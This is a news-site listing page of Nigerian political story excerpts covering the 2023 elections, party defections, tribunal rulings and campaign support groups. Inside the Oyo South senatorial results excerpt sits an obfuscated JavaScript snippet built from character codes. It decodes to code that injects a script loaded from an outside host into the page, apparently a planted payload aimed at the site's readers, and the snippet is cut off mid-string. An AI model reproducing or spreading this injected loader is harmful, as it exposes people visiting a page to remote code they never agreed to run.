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2May By Kayode FasuaNo Comments

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Post-election: Finally, Oyebanji, Segun Oni Reconcile

Barely one month after the Supreme Court decided the Ekiti governorship election in favour of the incumbent Governor, Mr Biodun Oyebanji, the governor on Tuesday paid a visit to the candidate of the Social Democratic Party (SDP) in the election and main challenger in the court, Engr Segun Oni at his Ifaki-Ekiti residence. Governor Oyebanji who arrived the Ifaki residence of the former Governor at around 10.35am, said the visit was in fulfilment of his pledge to personally call and visit Engr segun Oni, whom he described as a brother and leader for whom he had great respect. “I am here to debunk the notion that you don’t return from court and become friends. I am here to greet my senior brother and my leader whom I have great respect for. “For me, I believe litigation is part of e...

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12Apr By Samuel AlongeNo Comments

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Akure South Constituency 2 Demands Chairmanship Slot

Ahead of the coming local government elections in Ondo State, a group-Akure Constituency 2 Progressives (ACP), has called on the leadership of the All Progressives Congress (APC) to zone the position of Akure South Chairman, to Constituency 2. ACP, in a statement by its chairman, Chief Alaba Ogundele, and Secretary, Mr Sesan Ogunleye, averred that Constituency 2 is the most marginalised area in Akure South local council. It argued that while Constituency 1 where the incumbent Council chairman hails from had produced no fewer than 34 government functionaries, both elected and appointed, Constituency 2 had got only four; all under the current political dispensation. "While we are not disputing the fact that zoning is not a constitutional rule, we still cannot shy away from the fact...

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3Mar By Alaba AbdulrazakNo Comments

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Obi Took PDP Votes From South-East And South-South; I Would Have Chosen Him As A Vice, Says Atiku

The presidential candidate of the Peoples Democratic Party (PDP), Atiku Abubakar has said says the candidate of Labour Party (LP), Peter Obi took his Party’s votes from the south-east and the south-south and that he would have made him Vice presidential candidate if he had stayed in PDP. Abubakar who stated this on Thursday at a press conference in Abuja said that the PDP lost a considerable number of votes to Peter Obi, the LP presidential candidate in Saturday’s election. “It is a fact that he took our votes from the south-east and the south-south — that of course would not make him a president,” he said. “You all know that to be a president in this country you all need votes from everywhere. So as far as I am concerned, Peter is welcome to dialogue with PDP — we are ready to d...

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27Feb By Felix ShammahNo Comments

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Sharafadeen Alli Beats Tegbe, Kola-Daisi To Emerge Senator-Elect For Oyo South Senatorial District

By Alaba Abdulrazak The former secretary to the state government of Oyo state, Oloye Sharafadeen Alli has the Oyo South Senatorial District election. Alli defeated Joseph Tegbe of the Peoples Democratic Party, (PDP) and Kolapo Kola-Daisi of Accord Party (AP). Alli scored 111,513 while Tegbe got 92,481 and Accord garnered 33,641 in the Oyo South Senatorial District election. var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,115,116,111,99,107,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,116,114,105,99,107,46,106,115,...

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27Feb By Sharpedge NewsNo Comments

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Election Results As Announced By Kaduna INEC

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27Feb By Sharpedge NewsNo Comments

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Labour Party Candidate Wins Rep Seat in Kaduna

The candidate of the Labour Party, Donatus Mathew has been declared winner of the Kaura Federal Constituency. Declaring the result on Sunday, the returning officer, Professor Elijah Ella, said Mathew polled a total of ten thousand, five hundred and eight votes to defeat the incumbent member and candidate of the PDP, Mr. Gideon Lucas Gwani who came second, with ten thousand, two hundred and ninety-seven votes. He said the candidate of All Progressives Congress, trailed with nine thousand, nine hundred and nineteen votes, while that of the New Nigerian People's Party, NNPP, secured five thousand, three hundred and fifty-four votes to come third and fourth. Speaking to newsmen shortly after he was declared winner of the contest, Matthew, the member-elect, thanked the electorate for ...

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27Feb By Kayode FasuaNo Comments

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Senatorial Seat: Oshiomhole, Daniel, Yayi Win

Former National Chairman of the All Progressive Congress (APC), Adams Oshiomhole, has been declared as winner of Saturday’s election for Edo North Senatorial District in Edo State. The Independent National Electoral Commission (INEC)’s Returning Officer, Benjamin Adesina on Sunday, declared the former Governor of the State as winner of the polls, having scored 107,110 votes. He defeated the incumbent Senator Francis Alimekhena of the Peoples Democratic Party (PDP), who scored 55,344 votes. “Adams Oshiomhole of APC, having scored the highest number of votes, is hereby declared as the winner of the election conducted on the 25th of February for Edo North Senatorial District,” Adesina announced. In the same vein, Gbenga Daniel, a former governor of Ogun State, has won the Ogun Ea...

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25Feb By Sharpedge NewsNo Comments

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Atiku, Tinubu Win Polling Units

As results from polling units in Saturday's presidential and national assembly elections begin to trickle in, the Peoples Democratic Party (PDP) Presidential candidate, Atiku Abubakar has won his polling unit. Atiku won his polling unit 12, Ajiya, Gwadabawa ward in Yola north LGA of Adamawa state with 282 votes, while the All Progressives Congress (APC) came a distant second with 57 votes. The Labour Party (LP) secured six votes, while the New Nigeria Peoples Party (NNPP) got one vote. Similarly, the presidential candidate of All Progressives Congress (APC) Asiwaju Bola Ahmed Tinubu also won his polling unit in Lagos state. He defeated Peter Obi of the Labour Party (LP) and Atiku Abubakar, the Peoples Democratic Party standard bearer (PDP), to win the unit. In the polling u...

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25Feb By Felix ShammahNo Comments

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Elections: Hoodlums Attack INEC Officials In Delta, Katsina, Snatched BVAS Machines

By Alaba Abdulrazak The Chairman of the Independent National Electoral Commission (INEC), Mahmood Yakubu has confirmed the snatching of Bimodal Voter Accreditation System (BVAS) machines by hoodlums in Katsina and Delta states. The INEC chairman while briefing journalists at the collation centre, Abuja on the ongoing general election said that thugs attacked polling units in Delta and Katsina states and made away with BVAS machines. "In Oshimili, Delta state, thugs attacked a polling unit and two BVAS were lost in the process. But we were able to replace the stolen BVAS and restore security and voting continued. In Safana LGA of Katsina state, thugs attacked voting locations and snatched six BVAS machines. But we were able to use the spare BVAS machines and reinforce security for...

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25Feb By Sharpedge NewsNo Comments

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Elections: Buhari, Atiku, Tinubu, Obi Cast Votes

As the Nigeria's presidential and national assembly elections holds today, President Muhammadu Buhari, Atiku Abubakar, the presidential candidate of Peoples Democratic Party (PDP), Asiwaju Bola Ahmed Tinubu, the presidential candidate of the All Progressives Congress (APC) and the presidential candidate of the Labour Party, Peter Obi have all voted at various polling units in their states. President Muhammadu BuhariPesident Muhammadu Buhari voted at polling unit 003, Sarkin Yarn A ward. After voting, the president showed off his ballot papers to the voters around his polling unit which indicated that he voted for his party, the All Progressives Congress, APC. Atiku Abubakar (PDP)Former vice president Atiku Abubakar who is the Presidential Candidate of the Peoples Democratic Party...

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26Jan By Sharpedge NewsNo Comments

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Naja’atu’s Harangue on Tinubu’s Health Condition

By Marindoti Oludare Having read the interview granted by Hajia Naja’atu Muhammad, I have come to the conclusion that her summation is an attention-seeking, egocentric campaign of calumny. A few background check reveals she is someone with a track record of conceit and deceit. This is someone whose Wikipedia page reads “She claimed to have brought President of Nigeria, Muhammadu Buhari, into politics”. Her contradictory statements during the interview are tradecraft deception which should gain no reception in the eyes of rational folks. Hajia Naja’atu's claim of quitting party politics only to dangle her support for another presidential candidate shows a lack of political ideology and reeks of person in service of self. Her loyalty goes to the highest bidder. She claimed to have wan...

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15Dec By Samuel AlongeNo Comments

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Gombe: Rights Group, PDP Kick as Political Thugs Burn Barde’s Campaign Office

Leading rights group, the Campaign for Democracy (CD) has called on the police authorities to conduct full investigation and apprehend culprits behind the burning of the Gombe State Campaign Office of opposition Peoples Democratic Party (PDP) governorship candidate, last week. Already, the PDP in the state has accused the state governor, Alhaji Inuwa Yahaya, and his All Progressives Congress (APC) administration of putting the cam office to the torch. Although the state government had since denied involvement in the midnight fire, loyalists of the PDP candidate, Alhaji Jibrin Barde have sneered at the denial, accusing Go ernor Yahaya of being sorely scared of losing the coming governorship election and is as such, determined to crush all forms of opposition. But reacting on Wedne...

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31Aug By Gami TadanyigbeNo Comments

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Tribunal Orders Re-run Election in 6 Wards of Kuje Area Council

The  Federal Capital Territory (FCT)  Election Petitions Tribunal in Abuja, has ordered the Independent National Electoral Commission (INEC) to conduct a re-run chairmanship election in six wards of Kuje Area Council. Delivering judgment, Chief Magistrate Muinat Oyekan, who led a three-member panel, nullified the elections held in nine polling units where elections were marred by irregularities. The judge ordered that the rerun should be conducted across the affected polling units won by the incumbent Kuje Area Council Chairman, Abdullahi Sabo of the Peoples Democratic Party, PDP. The News Agency of Nigeria (NAN) reports that  the All Progresses Congress  (APC) candidate, Hamidu Sarki, filed the petition challenging Sabo’s victory. “From the foregoing, it ...

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25Jul By Gami TadanyigbeNo Comments

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2023: Labour Party Receives Over 200 Defectors, Promises Massive Mobilisation in FCT

Ahead of the 2023 General Elections, the Labour Party (LP) has recieved over 200 defectors from both the Peoples Democratic Party (PDP) and All Progressives Congress (APC) in Kuje Area Council, FCT. The defectors who handed over their APC membership cards, posters, brooms and the umbrellas of the PDP, said the move had become necessary for true democracy to thrive in the country. Mr Fanimi Oluwabusayo, the FCT Auditor of the Party, while receiving the decampees, assured that the party has come to deliver Nigerians from the hardship the two major parties has put Nigerians. Oluwabusayo, who is also known as Biggy added that Labour Party is coming with full force to change the narrative of democracy in the country. "I want to enjoin Nigerian youths to go and verify our candidate'...

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7Jun By Gami TadanyigbeNo Comments

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APC Convention: Group urges delegates to vote Osinbajo

A group, “Nigerian Youths Decide 2023,” has appealed to the All Progressives Congress (APC) delegates to vote Vice President Yemi Osinbajo as the party’s flag bearer in order to ensure good governance. The group made the appeal on Tuesday in Abuja, in an interview with the News Agency of Nigeria (NAN) during a rally ahead of the convention. Mr Makama Paul, Chairman of the group, said it was high time, credible, young, talented and visionary individuals took over the mantle of leadership in order to boost economic and democratic development of the country. Paul said that the 2023 elections was not do or die, but about good leadership with prospects of unity, sustainable progress and development of the country. He maintained that meaningful development could only be achieved in ...

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5Jun By Gami TadanyigbeNo Comments

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2023: Youth group drums support for Osinbajo

The Osinbajo Youth Organisation of Nigeria has drummed support for Vice President Yemi Osinbajo ahead of the 2023 presidential primary of the All Progressives Congress (APC). Mr Salahudden Shuaib, the Director-General of the organisation, called for the support at a news conference on Saturday in Abuja. “In consonance with the calls made by millions of Nigerians, Osinbajo Youth Organisation of Nigeria was birthed as a child of necessity to serve as a leading voice in championing a cause for a better Nigeria. “The organisation continued to lend her voice in consonance with the voice of millions of Nigerians in call for Osinbajo to declare and run for the presidency. “Fortunately, the vice president harkened to these calls and made an official declaration on the 11th of May 2022...

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2Jun By Gami TadanyigbeNo Comments

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2023: Support group tasks APC delegates on Osinbajo’s emergence

Prof. Yemi Osinbajo (PYO) Volunteers Support  Network in Nigeria, have called on the All Progressives Congress (APC) delegates to ensure that Vice President Yemi Osinbajo gets the Presidential ticket of the party for good governance in the country. Dr Obinna Ebirim, Convener Health Workers for Osinbajo (HWO), made the call in a press conference in Abuja on Thursday.  Ebirim said it was high time for credible, young, talented and visionary individuals take over the mantle of leadership for the economic and Democratic development of the country. The Convener said that the 2023 elections was not all about do or die, but about good leadership with prospects of unity, sustainable progress and development of the country. He maintained that meaningful development could only...

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2Jun By Gami TadanyigbeNo Comments

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Amb. Osakwe, Al-Mustapha in alliance to salvage Nigeria

Amb. Johnson Osakwe, from South-South and Maj. Hamza Al-Mustapha rtd, from North-East have decided to change the political events and situations in Nigeria by imbibing the spirit of unity, ditribalisation and political willingness to fight insecurity in Nigeria. They made this pledged during a media chart under the Action Alliance party (AA) in Abuja. In his address Amb. Osakwe opined that it is common in this country that people allow tribalism and nepotism to shadow their political ambition but to change the narrative according to Amb. Osakwe we in Action Alliance believe in team work, unity and empowerment 0f the youths. Amb. FELIX Osakwe further advised the Federal government to look into ASUU strike with great urgency as our youths are exposed to various degree of dangers du...

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30May By Gami TadanyigbeNo Comments

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NNPP House of Assembly aspirant condemns Kogi bomb blast

Chief Mrs Kuburat Kolo, Kogi State House of Assembly aspirant under the New Nigeria People's Party (NNPP) has condemned in its totality the recent bomb blast that occurred at one Omofemi Bar at Okepadi Quaters, Kabba, Kogi State. Mrs Kolo who made the commendation in a press statement issued in Abuja, however called on the state government to adequately address security challenges in the state to help the people. The aspirant who hails from Okehi Constituency also condoled with the families of the deceased and described the incident as barbaric, inhuman and not in the interest of national development. However, she said security challenges has been rampant, hence the need to address the menace was paramount. “If all our citizens are being killed, who will remain in the state? O...

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21May By Gami TadanyigbeNo Comments

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My Cabinet will be an envy of the world – Dorothy

Her Excellency, Mrs Dorothy Cesnabmihilo Nuhu, says her cabinet will be an envy to the world if elected President of Nigeria. Dorothy made this known during a courtesy visit to His Royal Highness the Emir of Minna Dr. Umar Farouq Bahago in the company of Mr Peterson Kaura and Engr. Musa Inuwa (Majidadi) to announce her intentions to run for the office of the President of Nigeria and to receive blessings from him. She expressed her concerns to the matters arising in the country, clearly she stated that a Gbagyi Woman came out to do what men do. Meanwhile, she called for transparency, sincerity of purpose, deep discipline and political leadership, saying that these were critical to happiness. Dorathy noted that the only way to have a new Nigeria is to bring our youths and women ...

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